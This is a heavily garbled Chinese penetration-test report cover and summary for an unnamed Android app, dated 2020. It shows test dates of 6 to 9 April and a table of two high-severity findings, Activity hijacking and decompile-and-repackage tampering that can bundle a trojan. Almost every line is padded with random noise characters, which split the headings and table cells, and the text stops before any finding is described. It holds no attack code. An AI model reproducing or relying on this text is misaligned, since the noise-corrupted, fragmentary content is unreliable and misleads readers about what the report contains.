# u9 m# @& Z% }/ v1 A
% ` T1 A2 |! `' q, }
+ j& o6 I# A. N7 @$ a, q$ j5 D2 i
; @1 V/ B$ `- v% c4 O! F, M5 P6 o
! s2 v! z& Z& V% U
2 t! }( ]" p% u% s8 u5 t
4 B( L$ n( r" c" w5 g- e; Z; U* h
6 g4 o) K+ M3 _! V& }
, f' Y& B$ O) r- p$ ?9 I+ i
3 `+ i1 _3 F; E9 x* y
' ~% J& k: h& J z. U% I4 u x1 }) F! ]2 e8 A2 O r
文档编号: # ~4 g! ]! X, p# N
d6 L+ v! K3 M# x& g& Y
: q. ]: C+ Z% R
, T& D1 n+ h- F7 c1 q8 u: e- |8 F
! v% e" ?9 z& A! I) }
' ]; e9 u* ~1 G7 P, |# c0 u1 e' ]% P - w, U, L0 X8 M {" v
% V: f$ `7 z( x Y
: ^0 w/ [- ?, o t$ D" }
- j8 c c6 |' q# l0 k3 f8 n; F
- ]& c0 W: k* P' m1 {* C
: b. F. k- V) b) \2 B! J" s
; J3 C: g5 ~0 Z+ X8 b$ E
4 s2 A% q9 x! P. i
/ r: q; Y$ z, ]8 c
( u; s; i- D8 ?8 z6 O4 U+ ?9 ^ $ ]' W% \5 f- t3 @ t- Q
% w& F6 u% f w E0 ?7 \
0 ^: x8 u/ @& O+ C' S) w; z! G8 h2 ~- Y8 q2 _/ U4 P
! ~* ~7 n- X! D& F2 w- ~& ?2 |; k8 ^ z2 i$ Q3 X9 A
" V& L j& l/ H* J: p+ a& H
# f' |+ S& o1 x7 S9 ]! X
' G% s K( j5 r! h9 a
+ y0 N, O: z& S4 p4 V# Q/ k
& W# X" f% L% T( w# S! V
, Z; |; |; j7 q* [0 _ 6 m2 Q9 k6 n; H/ e' O
- T0 R% z/ n' }' h9 n
% ]8 _: j7 r5 B$ I; c% S. S9 E9 @
, ~& d" l, u r
. l% ]7 ~( y: s4 c3 i' r1 x0 X2 b( k) P2 f
! v& k3 V& k9 p, E3 s5 y: Z. J
# U" A7 K, d* H: I
某某某APP渗透测试 % v8 W9 M9 L4 s. p) q( S+ U% {( @
$ B# X' e1 b; P
$ I7 t" I/ ]/ t: I3 [+ n+ g+ w& Z7 A
7 w3 I; s! g. R" X
5 P. Q. C7 ?6 T3 ^: D
/ m0 ~+ C2 Z* e# K$ Z6 o) u; j3 z! B8 v. \
2 o8 U$ w6 w: E
. k! H+ H5 o7 f! V4 i4 t" ?, v
+ h f* A5 A- }0 C
) {, Z! i, p" A* Q) `$ {# N% B# v 5 g" P$ V/ c: ^; q: L8 ~( k
# {3 ?: Z+ X! ^: u4 _! O( J% w
5 w& c- b6 N3 q; U' B" m+ Q) v' N
8 J" U7 X9 n( m( @8 N
! L/ k/ P' V" P z, _2 _ N+ k
* l5 A I/ X. D- v ) D! P- ~) }: F7 K
2 N+ f, C% Z1 A$ J5 K4 @5 i
0 _+ i: ]3 ?4 j: |! Q
- g7 e! k# s# ^7 \
. D7 s% x1 X% g8 S" c
: u& F) r! T/ O2 v1 c' y: n6 V6 R* O- k + F3 Z. R; } x+ E3 P: \5 z7 {: R4 e# L4 w
& {/ l- S! R( R
/ @! D1 v+ o0 f! W+ p) R- O
5 C7 R7 H1 M% Q0 ` " Z- R8 D C7 x) J* E! z0 C
5 {1 C* t' r5 \7 i5 A
技 术 报 告
: x0 {% t- _6 Y U5 T- U( N* I+ i9 @
1 t) O+ j% q3 w) P) x! W# a z: d; M. d- X- l* o; p# A
8 k; x g& P% G( f
8 k p( u6 x( D
2 Z5 e% M4 I# H4 @$ I( O) H
. \2 ~ ?% I) f% _7 _
) v! r( o% l# F( r2 c
3 j. G6 C+ c% R$ U5 y$ w 2 l+ V0 q2 r l! ]
6 f# h+ K1 P, y# G
( @ }; d z" ^; p. z# L1 a, O- C! @. u! Z$ e4 Q1 J
- Q7 X, W/ ^5 F: ~
9 d3 _/ P5 p* z% R1 f) g& B! r
5 k% t9 N( @0 p4 ]% Q
- V* B+ L+ n* X# V7 o. a5 D
: s: ?3 ]5 e0 B+ m% _
2 @8 M( k1 O. |9 H ^/ h
0 m& L* U" a5 w7 `/ ^6 b
* {/ L8 H% ^+ v" q 5 ]3 E9 a1 g8 i: f) }9 `8 [
; n+ Z2 R, W& n; r4 c7 ]
5 n0 F ^: `- k* r) }) W/ ^4 ^, F
# k" n- f W" x6 M# H, U" x7 ?2 j& D' Y8 ]4 Z
2 T8 A' Y: S6 H# p4 A& g
6 p& R) A. R0 X( c! E! h 1 v3 \4 [ e* ^+ \/ E8 _" {! y7 i+ s
2 y/ I* l3 S" j& \' a, [: @' v9 M- e
6 b: Q( O3 {5 G4 u) Y
- j4 b: P( M% E% O" X7 i7 ~
# h) q/ G0 X4 S! P0 J2 a0 T1 U
/ l& l/ F( j2 G* r1 B ! g$ H* W" m8 M
" J, c5 h9 w& ? R% N {: a+ Q
7 q3 ?! ?. f' Z4 Q- h4 J* r
. }3 a+ ?' Z- z1 V( ^6 M. o 9 e: w0 T3 r) J% Z8 ^' q1 x- s
, H( {5 m; j3 I0 `' ^ 8 U1 h8 j1 R7 d& o- U8 S! d
' m0 ~2 ]" A' s* }" X
' ^2 H8 r* f) C. s3 R" L4 o5 M+ @6 t* {- f( V$ {: u
8 ?% ]+ J6 O( ^# Q: d/ ?! H
% h0 T' S F; h2 H
( h- v' M# a4 x8 d1 G: a
9 |# z S! D0 q/ |: u. G M
1 V5 O4 u& ~% h: C
$ {: E' C; V7 v' y- E6 W
% d: P2 P; r* ^3 e8 K5 `& c: Y( A2 S$ v( E
/ ^. R( m# \" Q6 r7 }% r. \3 u% o4 `) t! w" ^# Y
! F5 H4 j; Y' M2 c' }
2 J! R8 l- Q( S1 W
6 \% ~. R8 e1 B) Y! F+ g' @4 I" c* r# Y. b, B
: O: \7 G t' m, q* L
9 g$ _& z$ Q. u
+ S5 H; Y+ b* i- R
, J5 M% u! _& L/ O+ G& J( [ 6 N4 Q; C( J$ d* I* r- K: M4 P
0 R6 }3 R8 C4 [9 |
9 T8 f# a; Y( I4 @- E+ b! {9 L/ G: m0 \5 v( P, u% P+ h! [
5 j: i/ r7 D# y7 J$ T, S
4 I( s0 A9 f2 B
A# j8 L ?5 K, q
! }5 G& D3 @6 Y2 r5 S ) `' S; M, s) |4 r) B
( d# a8 k8 W3 B1 d4 `; S
5 N, H" H+ V- p+ o# d$ _9 x
! ^! g/ G' X: N2 c d; I, d+ F0 w. r
1 b+ L( w4 H0 E- C& ?; a8 _
- s5 |! ^0 P: K) v& n7 K3 ]- { - W9 S- D, c* A8 \5 A
" a% G& R/ k3 y
* j* O1 J. N7 S& E+ N/ {
4 T5 m# f* \2 F9 ^- p3 k- G: L$ ^ ; C1 s. S1 c( U; R8 h1 `3 Y. ]
# j4 [0 u: ?# F; l% H8 U0 u
! X+ P D/ [) `: R9 L. v+ _0 ]7 Q' z* t# i5 I3 y+ [9 }
+ O8 W. s K! B8 Y: ]3 t9 N, D8 A& B2 ~3 a) T% M
- X2 b6 R7 t( m) u8 I
+ [8 [* {; ~; [1 v2 g( d9 I. y
1 u# o n, [. M7 m$ w
+ Z j5 [5 @$ p$ Z4 |3 _) g+ X
6 t# e- D8 z& T) Q
" @1 l) W* f, H+ K0 r& Z
! A8 a8 F4 y: S6 w- `, Q! Z2 L5 q) S$ _4 \, o/ O' Q b
2 ~# y7 E+ J7 o/ x' H: g) q- h
6 C, Q1 M( u( s3 V+ O" Q* U5 Z
+ M/ i; o i7 G5 m7 h
& c( V4 u( S# l2 W U) e- t. p4 O; C; n
0 ^* p* `2 [# i$ U' H4 e' i* W* x& u9 u2 z) q' g
# Q% d: p4 O B* L0 v8 A$ Z) I
7 W* o5 c! R# y# k4 i4 O" O8 w3 e% i7 {/ ]6 u- B8 k* I
; c) z1 c( g% R, f p1 [/ B
% O6 S- i: {' v
4 o1 X+ v3 I) c
& `* A% h+ l, E1 p% N, E4 o. T9 H
) z$ D! J# [0 O. R6 R. Z
+ p l7 n( k/ h- H; E# S9 {+ C$ Z
6 z3 {& `) T3 l0 s
) I( t6 h0 f7 t- }1 d2 y6 h
二〇二〇年
Y; |$ d+ W" G* H. S v# @: {& o1 y
2 m, U1 H: c- V: r" ~6 ?: Y! ? e' z& I6 P# |$ u! ~1 a: ?
% Z% R% e* i' Y9 v& ^2 W
) d5 d7 p' ]$ m1 e
/ k) \" i8 }4 g" g' L$ p9 B
: x/ j* a1 s6 O* o) S7 t
# j0 |/ c- g: l2 ?8 H" ]0 g+ O2 d4 _" r
$ o* j3 U( q m8 s' n* }0 p
' p' _6 C8 c( z" Z; Z `
: ?2 @- K; F5 Q) A2 Z# e6 u4 L; U
: J: |2 b& d! g
+ ?+ Z q+ T1 T& O: y) |/ j2 U* t8 _! u/ l. o5 ~
0 y- j+ I9 z" w1 R) Z2 x
, b1 H! Q& O, [, m0 o
- o' s+ \$ q& Q0 e$ g# G3 C9 Q4 O8 h# d+ C6 v* f- V# N
* B F, r) ^' A9 m N! ]( r8 I7 i7 E7 |) p8 D
目 录 6 q% h i. p0 a2 F0 {. K7 F
0 }# t' @; a( W5 L" h3 X. ]
" ]0 P- F* e; W7 `; P
% i, O6 F1 T8 ~8 h( I5 M' r$ q
- h7 w; c. @$ I+ S: s
- F3 v" U+ d+ l' H. `! _* w B7 j' \; l
4 p' s1 }# y) [
9 O0 f0 l0 |* e$ z% J# P: }7 n4 N
h, X" \3 L. {
2 j9 `& v9 D+ P# C7 z$ }
$ v1 K' C2 o" M3 ?, v
' ^5 }8 F7 |" F; \ 3 Q( ?' E; O2 o1 ^7 H
# q" |8 n0 o& a7 g, K7 ?/ f6 }3 _8 n
1 概述... 3
0 e" z/ L5 ]8 m+ \
1 J5 c$ m3 L7 I E0 Q- n9 u3 k/ {
* l- M' J8 w7 Y' `7 R" Z: R7 l, Q; v
; Z6 v _8 W: \# R
- W2 l& Q, ?& V/ f 1.2测试时间... 3
5 }# i0 N) L/ h* E: {
5 e: w: d ?3 t) m* d
% r% q" c6 A7 D" W; R! n: o9 u% Z9 u v, \+ e
; O# S) J+ `7 I8 J( L z
# H4 v8 q4 Q% d
1.3测试对象... 3
- [7 Z( O9 g* Z8 w" M4 n+ }
' |5 b* W8 R9 f( p* `
; ^ I# m. U4 O4 K/ @
7 |6 y. F2 C. v T9 Z J ; W: W& B* |7 _+ O6 F
8 C3 n2 Q% J; K0 n 1.4测试结果... 3 ) r' \3 W. }4 p4 {
! C+ Q3 J5 O, z8 n8 f2 Z; ^
; A' ]* q! r/ r/ a B9 {" {$ L4 V1 N0 p
- M- }. K+ Y# m$ p# d
6 g) \# S8 F1 n q2 t- P- S
) _3 @1 s2 X: B5 t$ l+ q# s4 u# K8 p- Q 2 检测结果... 4 , y) ?8 b9 _5 I v! v% n
6 p. _6 |4 d: ?) z5 E1 f
* n _- N! c7 @1 j# i) h4 \6 @* X
4 B2 h( }6 T, h, i$ Z
. H0 }" f' i& F* v* R) H
8 R3 u$ p2 ?4 k7 G L( N6 m 2.1 某某某... 4
. d- j5 W6 r) w; N" w2 @; h3 c7 C R! L! i9 v
# q1 P9 T2 W! V( y0 }. C" m8 B+ ?0 E; k0 J" L; e* C) A; J
& U4 u4 o4 [) R) n! X2 K1 T
0 L4 O) ^4 f% T2 A8 D/ v3 `
2.1.1检测目标... 4 $ X# Y2 k# B6 S9 v X- G. G
% w8 L* N1 S6 {2 P
1 b. P9 v1 ^% A& z0 q$ O# ^; ~0 R0 f# A8 M4 U, a1 E. X) O
0 U5 S9 \" J$ X- ?) h2 w8 C: C
: m' S( c7 u" f+ M1 Q' U- e- F2 b6 v4 d 2.1.2检测结果... 4 6 G: r% h8 S3 C+ [
( r+ u. F8 V2 D* V9 J! L
: B/ W: C" r8 E N! h' a$ Y* o3 g( D
. x7 g) ? U& R' `; c ! i, R; Q y3 j8 E7 N* t4 V7 ]1 ~
( U2 X7 r! y; `3 G2 i) }- q
2.1.2.1. 4
9 v( Z9 ~# }# j* e. A5 `
6 j# T; a1 Y1 j4 o$ _- g. h
3 }# L8 G+ H8 X8 E0 F1 W" I6 v9 _
7 ]1 a) W8 ^: n 6 g! T' s% n, ^; r9 @3 h5 Z$ P7 H
9 }$ |( b; b" ?
2.1.2.2. 6
6 ~7 D7 k3 h. k+ F5 ~ S3 _) e/ x1 J) J' L) f. f. ?
7 Z, j# f0 X3 j3 @2 U
9 h% G9 D3 u/ L. ^& O. \; N
' i) j4 ^9 J/ n- r8 I
) n7 o. m- p1 K' |
- }" h; P0 B8 A3 d. c/ Z$ Y a5 o4 O6 A3 i) c% ~
" c& F; {0 D% u/ u/ g- B. |& m/ A
! S/ }8 ~0 {1 O6 `* k# @& z8 y/ O2 I8 K
7 e/ V4 B% U1 w9 r) V" w
. ^. o4 ~* X- u3 j9 j
, ^! a& S' c( h# c# s. U. |
/ e% _- m c- ~; V& u2 e5 y$ c
- h# r$ v! |; E2 Q/ w+ b 4 `, E% s5 U/ [& [7 F6 r
m0 c" C4 z+ D9 V& M ^2 ~
1 N T+ U+ ^* l5 Z7 z. D2 Z1 \ M. _1 O* t+ O
1 概述 7 `. W1 _ \1 [
, _7 {* B$ S1 l/ `2 @6 h
{# x& J! w( @4 @( t, A
% K; W' m: {' f) R6 g
5 F: c5 g( w h9 U) S+ A4 }& V
" n; b5 s+ ?7 g5 x; u$ O# f 1.2测试时间 - _; s5 ^8 J, u# N( P
# l8 m2 j4 D* T: @, z
$ {0 W4 l! M) F! g" G: [5 s, G1 ~; H. T& I" t. J
8 q0 b. I! |3 t! w, b2 p/ e( N
( q+ m& D& g) _ q4 T; z 3 R1 `, t) `7 `, P) J( m8 _
; G8 \- G" T# `2 S
3 L# l# v3 T3 s8 ?6 I+ K% z. ]+ y; z: q y) o8 @6 J) }
5 j6 e: Z- ~ D+ m/ d: t
$ f0 I2 m) y) b
& `7 b4 [+ ?; O' t+ x4 L
?4 B: j# r6 o% H( ]- J5 P 渗透测试时间 ( M5 }) _$ s% U/ G0 {1 E
' D8 {/ i' }( |" ]9 C
0 d# ], h8 u' g
. E) ~: Z4 z' t |
2 G9 e. ?7 F0 d) J3 H
) Q4 a7 [/ O r( q* U
* L) b2 h. u- t5 [; g6 R7 i( T
( n8 M* L, e7 Z5 [0 ?
) h# E" U' @- ?- E% k( H/ c; g) G! @/ }9 Z V; s: X
' r/ j# [7 A2 W' \
. `7 a5 W4 f- E& T$ [0 n
H7 Y, }' P7 e/ {
3 H$ T g! `2 P A4 B 起始时间 0 ]0 [! U. A, d" Y
) [+ b6 o# {- F% y# q
y. e K. h& M6 w' e) A9 ?* R" G5 g$ }* c* f S
| 8 [1 o# ^7 w" `
5 ] C. `9 {5 X9 p3 K0 k6 `" @
2 n, w" w# ]! P. w0 ^1 W$ p5 H# r8 ~8 d4 l/ {
3 }5 H! \, f, m: i: w$ |& m! }/ G2 T m. _/ @! F0 {( H1 K
2020年4月6日 ' w: J! g" E3 y5 B& ^, C
; ~$ a }- z" [" T% e# T4 f 1 L* c+ ~1 g/ D( ~: N
4 D5 |: h |+ {7 v, s& k
| ) V4 R/ B- }, [: S% C7 W' M
6 B% W7 A/ s& w0 l- T- l
) \: ~! Q$ T5 Y
3 r- F9 s/ j8 F0 i
( k5 e E% N% L) x& |% u1 m6 N# X; I
* }1 \: F" {0 M/ a: _
3 e$ g1 y# N1 \0 b 3 G. ]" h; S# K+ e# o3 E
p+ F" H$ t% F" |+ R+ d
结束时间
1 @( O1 A' a6 |- O7 x6 b
2 x" ?: ]& v+ ?1 b# J. o/ H & D8 z0 {0 N& b
1 u/ Y+ k# k8 z* ]' F) m2 ?, R | 2 b( u# w& ]" A" m9 ^
6 {& ` a# Z% o1 b( c
3 a$ o, x5 |% I. g+ U
2 _3 y7 K$ z$ m9 e: f. e8 m3 e 0 \' a r5 c. U- x
$ k9 R: M4 w, u% O+ V5 M 2020年4月9日
& w6 w7 |, S: D* V, _4 w, d$ A6 Q2 [( [4 I0 O2 k* e: h7 \/ E; @
* j) C+ o; d! i. L' m u* R j% H$ X' P7 ?) u2 [+ L6 `
| 2 V& h. [9 K' ?. [
3 Y' e% C" J* T: U p
2 n W- T) \ s# ^( E; Y
9 G& W- \. }9 m% ]1 e) y* A' N
: Q: a+ s3 h- D6 k" ?% ~8 B$ a5 r
* |8 D6 y& a% }9 ]
) }) ?5 R' l& C& G$ Q) x
- K9 ?+ c0 b2 ~# {
, ?: N* ]. y! q( p. ?/ c! c& k
3 |0 r5 |$ [7 [8 } ]9 N* C 1.3测试对象
' M* ^! w$ g" k; ^: N3 I' C1 Y( l( e- d* ^! Z" k
, e$ p" b. J8 L2 b2 n0 k4 T6 h5 [
$ e4 S$ N ?& E* K$ t s, N3 a E 2 ]$ D$ s1 B1 y
) E3 p1 _$ S- L- r& d4 y2 M 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
& \$ B) B5 C% i" D8 R- Q9 `, S; C2 M4 `" ?
' d. L; \ M4 g% m/ |; L$ K
) d$ m' E: I6 ~9 b! v) j& O $ Q# a; v! p# L8 @. [
, a; M8 a E+ | D6 v 表1-1 检测对象
" _! K# p4 L+ F H. a: W- Z: R2 f2 r3 c+ {2 Z) C, [" j+ ~
$ `4 E7 h9 l8 z( j% Y& r9 K; ]+ t
8 w" P0 O& M) }. {" k @% ^ , u9 f2 |" u# V% q4 ^- d q
9 E6 d% d! f. u5 E 1 `/ A9 y. `: z2 |0 ?6 u7 d
. {1 L7 l, ] I8 T) c! A
9 f- {) m! j. w$ W! R) E+ R4 p+ j4 k5 t! a: p
" ~9 g& H% c- k) Y; P& U0 S3 W4 z8 W4 J% N- H
0 w! T6 L: s9 \* c. d: u h1 Q
7 F% s% Z j: ?7 a, ? 序号 6 u* }' ^/ [0 y8 \9 d* N' n# D2 C) L
1 c+ \# S1 B8 _3 T+ T& v3 G , {& m+ H& v: X: u4 S
; J) v% z5 O7 |5 Q |
, E$ A# m$ p( C- R* X
! ]5 a3 L. g4 k e - F3 ^/ Q- j. n; n' r Z
2 O5 P; _ `* a- d9 [+ T7 u
% {. b- c' O( I! q% H, n
* D8 n7 O1 K3 D0 i: v0 f
测试对象 2 F/ F- k {3 s7 {" G
" t/ X- s( p! c# ?9 q, m. x E
) \( k- E% o& o
! d6 R& v; k2 j% B' T! I |
+ {. }$ P; P* B
6 n6 [! n1 Q) @ * w" a! t3 _7 Z/ c H
8 b' O5 [! ]4 ]9 b" E ) H( M9 J- \$ H
' D- z: _; H' X0 _. h 测试地址 / k k) n6 b4 F, f
* s3 k+ ]- v! |
# R& m( k/ X( ]8 ]+ Z8 f5 Q0 c" v7 r
/ M! ?8 w! g M5 t* l9 Z" `2 e/ Y |
# O G7 u0 T; z" @4 ~! ^1 c. q% U" J) U) d' T5 v7 X$ p
) i7 k" W6 E6 G$ m1 u+ Z5 u! d0 B8 T$ z7 z2 `" d9 T
4 F' m7 R9 O7 X: K3 Z
9 A" C2 N/ q1 ]6 a 安全漏洞 5 h( p( g/ |7 [' B0 m
5 h4 l- G+ f7 V7 i
. G$ n, D& ^8 ]* w9 t: L/ H
2 ]1 w: S7 @( j" m* O8 Z/ M | 2 |* v" H, c) b3 J5 m4 f
0 |$ i5 ?6 n! }' N6 K
$ ]$ ~8 F8 n: m2 ?. c! M' R
$ ^8 d: {" g5 Y( \1 D + I! H3 o5 u# i; m
9 w5 o6 w/ i: w* @: T
6 r" Q( U6 ?# ?. e+ D5 u/ a/ W
R0 I# Y0 |( Y2 u
. A" P# m% S7 Z
- V9 P0 P# b- L 1
" m$ X/ m2 ^* R, M% d+ |
, o+ u. Z, D4 f! Z; m4 b# j0 ~0 o
# G$ |2 d5 K* Z; c4 U9 t1 {$ T; D
|
% g& p0 u/ c$ k7 l1 v2 S, i
X- D1 d- u/ }# E
; A& [. D. j3 C. ~2 j q2 U; L$ d# B# n+ i- U+ B- W- ^* Q
8 V- K& c, ~+ Y
m8 A/ _/ G% I: S6 W/ }' n. e4 o 某某某安卓APP 9 L& x: G/ u; I6 b% F- e: c6 {% ?
) E6 W' e1 S7 y& C+ S' z1 M
. H; k* L- N$ }4 C
$ `6 q" M! [) b+ A9 q& h |
, u; w0 g8 o9 o
6 h4 m! ?/ @: T( u1 r( E
& P& `/ N8 V' K; q: d5 t/ c7 u' I$ F8 M, D: H* |+ H4 B$ _
/ Q1 J4 ~( f3 u4 ^; F3 @7 u$ O. X" o
! x- ]: v( ^. q) u2 M Y
% y) F. _5 S W, \
* U; g8 P' R+ I$ N+ `/ k
9 e* \- g$ d; C5 r | : U4 K6 D. ~1 A; W% |+ U$ R3 d
' l( v4 [: x# R( a' |, w: m0 s 1 Y: Z' s+ S: K- t. {' E
! C0 q9 G, F- B' f- |6 S - n) ?) z, Z, f* L
% G+ Y4 ]6 s+ D, u& n9 A 2 * G9 V h6 Q! K
' w# E6 G& R. @
/ u; S. x5 L5 o% k3 n3 d+ I1 y0 @: Y; G
|
$ A0 ?2 E @8 q. t; w' O
k, m" n# a" u+ e, _; D6 }. N7 `
* b( O! q2 X6 v( E! U5 ~2 \$ Y
6 c7 Q. ~* }$ r+ X! q) O% b/ e 8 f1 h* p! E# L2 x
2 m9 E! h7 A/ ~4 c4 {( t
5 e; C' }( K" C
5 D+ H- m0 U( p3 y0 \" p7 N6 y 2 O d. x) q4 O
: T6 o; K/ T7 o9 e6 P" i) q' m% a1 @$ o 1.4测试结果
. p* L1 }+ {4 L2 B, \ Y5 i+ v. ~0 l
7 v b& z+ O* G L% ^4 _- A& y P8 |0 W* M8 ~
% `3 i& w S2 a( f- X
" }& T' i- \3 y$ z/ _ 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: * E% F% \' P* W
5 M! f T0 z- D |; K& b2 T: l/ q5 T
p; G6 P* v' \- g" x& ~3 g% }" n0 E
+ O6 e3 X; D* L& o' t2 c" [
, n. I) x! U: p2 M! t5 J
( r* T$ j" i e% J9 F, ~- ~$ E
* X% N5 C$ h+ X0 e+ X( `
$ Q7 O% r* c. f( o \
2 g# X6 Y; x3 O% d; k) R6 q" {8 Q9 w! P3 k
0 e7 b! T. M- A. ?
9 g" H8 }' p5 R0 C8 W- I
4 a5 V1 \8 q. J$ p5 z# K0 ~; q! N1 a8 r+ o
* ]1 g+ ?+ W2 _! T9 q0 {! L
0 N) o3 v6 g! s' w4 O9 |# I) a 6 s1 v" {1 j3 g n! U. S1 J# G
& W8 H) G: ?( l% s 9 V2 H! t; o2 ]+ m4 g' s6 z
' {5 q1 G) B- I' p
+ k) `# e8 G/ Z) R w( C7 \* d8 f$ q F) q# ~ x
序号 6 W3 K& I8 u: V
3 p6 d H' I$ Y B; x
$ R3 I- s4 A1 i) X
) i3 _+ [ |& }" Z9 C | 9 `4 L9 m+ t- n) |" L
c; a Q6 A! G" W
+ g5 z; X/ J( R* p
' {# ]$ H7 ^, o- Z% J3 x
8 u) p6 D. m- M' i1 \
7 l7 E" ^) [5 C; h; u% Q 系统名称 ' m5 j5 G* Q% m& Q G) F
" L/ B7 o$ [0 Z4 A S; M U
& E) \- ~. Z6 G: ]+ O4 D* U' w; J3 e" r* k5 z8 f
| ( i/ S6 c- v8 o2 r
/ U) p m9 C1 V) L$ O& {
$ `8 w8 W& G5 F$ B4 z4 p
# }" O6 S8 y0 R, l* |. A9 M# t
: a( S4 [) r6 {+ Z
9 I+ \1 V- \3 p! { F1 ]* T( `9 W 漏洞名称
5 g4 x# D, n5 l
- `7 a& S! x. U. T+ q; q8 ?6 X
2 S0 M r( s- a# z# I% f% F; }4 e1 U/ ~& W2 Y
|
3 t' H& H( y5 ^& ^4 m3 s0 k4 `( O+ e9 ?
! A4 K4 Q \# R( b( y3 q) {9 k/ K5 f- `1 |+ j( q
; }" K0 }0 [, W9 U
; T7 _8 F, H) g" I6 I+ H5 { 漏洞危害 $ f7 T/ J$ b( @* m# E5 l6 L
$ ~3 }6 z" a" w
/ q4 T+ D( b8 v5 ^
. {7 v6 B' C$ I3 X& d8 ]4 n
|
7 r6 G( R3 _3 a' r8 g% h* f
) o! B3 o' W, L) M. ]
8 R/ j8 P! y9 a% u2 \
b* Q0 S& A6 z! g
. o4 ]+ n3 Z( A7 N* }
! C4 e7 f; W ^! {4 y( g( H5 Y 修复结果 & Z' _9 t$ g7 L2 p: U. q6 X
3 S6 r7 [% D- b5 {* i2 L) u
, f% n4 _$ c1 _1 `- ~
" u; g8 g' f$ N) ^2 K3 `+ J# L |
* _' I: L, \# ]8 s( e. d$ B* H* ^- s8 `; i3 w1 q/ {8 g
5 R6 a, \7 ^) J" Q5 k
1 v# r1 c2 F- V! [2 e4 h! g 2 o; f( [0 F' p
6 O6 y" z# b9 A7 q5 {$ i0 A
8 z9 F8 ?! c4 @' V. U- x4 o, Z+ g5 c U& \5 s
& J p @) h9 O
; o% ^- ?! G# U4 o0 \
1 4 d6 g; R6 g. i) k. ~' I
6 p. w! B/ Q+ H0 i$ o# Q3 V- C
, Q3 y, P+ R2 C! {& R0 E2 ^% g2 @* C) K2 W Q v5 r& K( x7 k4 t& T& X
|
3 c1 Q& O! R% K f5 k$ J
3 D6 ^/ L, r: r$ r% ? , g m0 ?, F& w) ~5 V& ~
: n1 u2 J* e) l4 f% c7 { F U# o
, R# l- R. x% Q& _# N% G
3 o1 e% ^' p8 D! c6 Z2 j" Y 某某某某某某APP
A4 j7 h5 i' W& T& W H8 J
1 G5 Q( _4 R; T V E' l3 d3 b) _
) z( p' U9 O! b' [! \+ P& j3 U$ N; ]- G% y- M/ A
|
0 ]! g2 f4 Z4 x+ N6 f' X
7 A5 P5 [4 u2 J6 R
0 o, j6 r2 d! L7 o/ } e" W. K
% w, l# C( t) S: Y- n M' W8 i: D
6 Y6 _' o" `: g8 ^2 w
( ?+ A v, c) L4 Q Activity 劫持
% O: m3 _4 Q( C+ S
3 F9 x* H+ a0 @1 P; q# I
- U3 u6 v! M4 s1 j: J2 W& @' ^0 `- X l
/ @* D7 o, U2 r
1 c- b7 r! M" W; S+ { ) W. X9 |9 t- K
, }) m% i, }2 i+ E9 A0 C H
) C' T3 i4 q/ T% Y1 N9 [4 x
1 G, p/ ?" |8 C |
( H- Z4 p, K* e+ Q& Q, o; I# K8 G' m: P$ L1 h( X
+ k# p% j8 J0 P6 x
8 X) x7 z7 }( y* r' _; L. e0 T
1 s B4 H0 w, a. ^7 `# I% V" T* O, L8 M- i/ d* d0 v* G% }9 H$ p
高
6 i% j. c+ B7 ]2 W3 \8 [) Y# H& ]) W d; m d& X. [( R
7 {; w- }8 O V8 f- F# V$ Q4 u( j
| / ]/ q' R# w3 c/ f
# K# ?6 R. _& S/ G2 p
: k1 |: R: }; U& a
Z2 s7 [ k$ W: l% `5 W # }& A1 R- ~9 j1 ]) v$ n
, y9 h* P! u% v7 z
' A& _, X5 l' R: a9 G: F1 B# Z" T& Z. I1 a
5 q. e, J: k) Z R) L# }8 X
4 f1 \) E) D* D: S | 1 j, L# I! B; d* D" x
# H: F' A P- b" r& @
5 y! k; o! C& c
6 b9 o4 u' {4 k* y! m : T+ P6 ?9 n( C$ [2 W
* w- n7 y2 u4 U- d7 A
4 H7 _" d" c% i; @5 g" @* n2 N3 A% Q2 A! h1 @1 ]& q
: p% Z7 C1 Q0 B% D4 n- k
V( k- _, q I& R. `2 | 2
7 H% f8 Z0 ]% E* C! h
" s# f, z5 W! k9 h& H' u- i5 N/ | , R* c* z, W" t7 d: R" D: y; o
! X0 f2 {! M4 h1 U- d! z; p5 q | 2 w- j3 z; T. ?3 U
4 Y5 J- _: I* ]
0 n+ j( Y4 w! q5 J! P1 f1 \+ z8 I- i4 B
: J! l9 g. R1 }% N' a
2 Y* O2 |2 c* F- f/ Q# Y9 l+ E' b7 A' j
4 ?. E$ h, n( N0 K' [ 某某某某某某APP / d( L0 n1 Z8 D. e
' p" P( \6 p6 v1 [7 W
+ ]) ]1 c- n$ w G( m7 I i) Q G4 I: S6 Z3 P9 }9 v
|
* W+ B; ~4 s3 k4 f, [! L! t" W" U; c- S$ Y. ]
" Z3 C7 W8 _2 e! P, Q& g; o) l# x( U. d- z7 `5 T3 r
2 b7 U- X9 W6 |3 z& [
* `0 S+ ~* J7 [2 ^ 反编译二次打包捆绑木马、篡改APP代码 ; ]4 W8 v: k. U( x" ^- G
9 C7 R- }$ t; A- o3 \; R+ ~6 z
% U. R6 {. y( P( ]5 Q5 b( ] M* ], W+ j& Z' J, x
| . D/ _! N/ X2 ?" r! M; d, b
1 [5 G: `7 `& c " x+ Q7 Z" R* Q) |4 {8 }
) A# f+ R9 _; v; |; H% q5 x
4 }# K& r- V+ u8 J) @* q8 f- J& g' d
高
n" C$ z3 E/ M- `; M6 E' X0 {$ P9 X( n0 n# L- j
' x0 A- }. H8 n4 o( L! F5 C0 |
; f7 `& I7 P! T d: w% b: s | 9 {6 `9 c; w) |
4 r: d4 \0 D, x W
; z( U/ I1 Q! J4 x4 N. g
7 [9 w: T6 J8 d3 e
. r; d& r1 U8 l2 d( }. E! E% p! K" x1 i* k% I9 K# o- P7 Y1 E8 X
, T, K. F& A2 r. `" i9 \! D) N% }
* I( H, i! ]- M
7 {* ^% B* J; p8 L
: N. ~# e7 }1 r3 q" m# {/ U, W
| ! |) F: |, u" a3 u3 Y; s, F+ f
$ Y6 D$ M7 n' s' m8 X; D
# n N6 @* h2 G" C k: J7 ^' H+ j
: O( [4 |: C. x m5 L, O
4 |+ _! l, e7 S& R9 P; M
! D9 |1 s# b! d; I
& y% ?/ I5 c5 [4 f% v
" e" }0 h' t% g0 ^4 X, }8 E3 X : O% Q# A0 I( j, g# O8 ?' C
9 [' _5 W( P% I
8 p8 k& U' E+ J4 F5 |% b
3 P, a( O5 ~7 B' [0 i* ^8 F: i 8 d/ `1 }8 f2 t; z# e
